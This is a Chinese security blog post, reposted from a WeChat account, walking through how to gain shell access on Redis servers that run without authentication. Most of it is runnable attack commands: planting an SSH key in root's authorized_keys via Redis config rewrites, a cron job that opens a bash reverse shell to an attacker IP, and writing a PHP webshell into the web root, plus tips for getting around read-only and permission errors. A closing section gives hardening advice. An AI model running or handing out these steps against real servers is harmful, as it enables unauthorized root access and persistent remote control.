Redis未授权访问getshell小结

admin 2021年12月28日08:22:55评论248 views字数 2548阅读8分29秒阅读模式
1 漏洞描述
    Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

Redis未授权访问getshell小结

    Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

2 简单验证
    执行以下命令,成功返回相关运行信息,即存在未授权访问漏洞。
redis-cli -h ip> info

Redis未授权访问getshell小结


3 SSH私钥上传getshell
    首先在本地生产公私钥文件,一路回车即可。
ssh-keygen –t rsa

Redis未授权访问getshell小结

    然后将公钥导入key.txt文件中(前后用n换行,目的是避免和redis里的其他数据混合,造成乱码)。
(echo -e "nn"; cat /root/.ssh/id_rsa.pub; echo -e "nn") > wk.txt

Redis未授权访问getshell小结

    接着将key.txt文件内容写入到目标主机的缓冲中
cat wk.txt | redis-cli -h 192.168.1.11 -x set crackitOK
    然后连接redis,按步骤执行以下命令。
$ $ redis-cli -h 192.168.1.11$ 192.168.1.11:6379> config set dir /root/.ssh/OK$ 192.168.1.11:6379> config get dir1) "dir"2) "/root/.ssh"$ 192.168.1.11:6379> config set dbfilename "authorized_keys"OK$ 192.168.1.11:6379> saveOK
    上面命令设定了 crackit 的键值为公钥,并通过 redis 命令变更 Redis DB 文件及存放地点为默认 root 用户 SSH key 存放文件,并将键值重定向追加到远程文件 authorized_keys 的末尾,也就上传了公钥。
    这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行
ssh –i  id_rsa [email protected]
    可远程利用自己的私钥登录该服务器。

4 SSH私钥上传getshell常见问题
    Redis 主服务器(master server)具有 读写 的权限,而 从服务器(slave master)默认 只具有 读 的权限。如果强行在从服务器中接入数据,则报以下错误。
cat wk.txt | redis-cli -h 192.168.1.11 -x set crackit(error) READONLY You can't write against a read only slave.
    解决方法:在redis-cli中执行下面命令进行设置,立即生效,无需重启。
config set slave-read-only no
    这里设置目录时,可能存在下面两个报错。
    一、
config set dir /root/.ssh/  (error) ERR Changing directory: No such file or directory
    解决方法:这是因为root从来没有登录过,在被攻击机执行ssh localhost 即可。
    如果之前通过信息收集得到ssh的用户名,也可以尝试上传SSH私钥到用户的路径下,先得到一个用户权限的shell,后面在提权。
config set dir /home/user/.ssh/
    二、
config set dir /root/.ssh/ (error) ERR Changing directory: Permission denied
    说明redis并不是以root启动的,只能换个getshell方法了。

5 计划任务反弹shell
redis-cli -h 192.168.1.8set test "n* * * * * bash -i >& /dev/tcp/192.168.1.4/4444 0>&1n" config set dir /var/spool/cronconfig  set dbfilename "root"save
    因为查看/var/spool/cron 目录权限为700,且为root创建,所以同样需要root创建的Redis服务才能用这个方法。

6 写入Webshell
    需要知道web的安装路径
config set  dir /var/www/html/config set  dbfilename shell.phpset  cmd "<?php phpinfo(); ?>"save

7 修复建议/安全建议
    (1)禁止一些高危命令,修改 redis.conf 文件,添加以下字段,来禁用远程修改 DB 文件地址。
rename-command FLUSHALL ""rename-command CONFIG   ""rename-command EVAL     ""
    (2)以低权限运行 Redis 服务,为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
groupadd -r redis && useradd -r -g redis redis
    (3)为 Redis 添加密码验证,修改 redis.conf 文件,添加
requirepass mypassword
    (4)禁止外网访问 Redis,修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
bind 127.0.0.1

8 参考文章
https://mp.weixin.qq.com/s?__biz=Mzg5OTYxMjk0Mw==&mid=2247484550&idx=1&sn=ef0cd710fc188ab67e44354097230381https://blog.csdn.net/sojrs_sec/article/details/100999908https://www.cnblogs.com/morgan363/p/13719830.html

原文始发于微信公众号(Reset安全):Redis未授权访问getshell小结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月28日08:22:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Redis未授权访问getshell小结https://cn-sec.com/archives/703005.html

发表评论

匿名网友 填写信息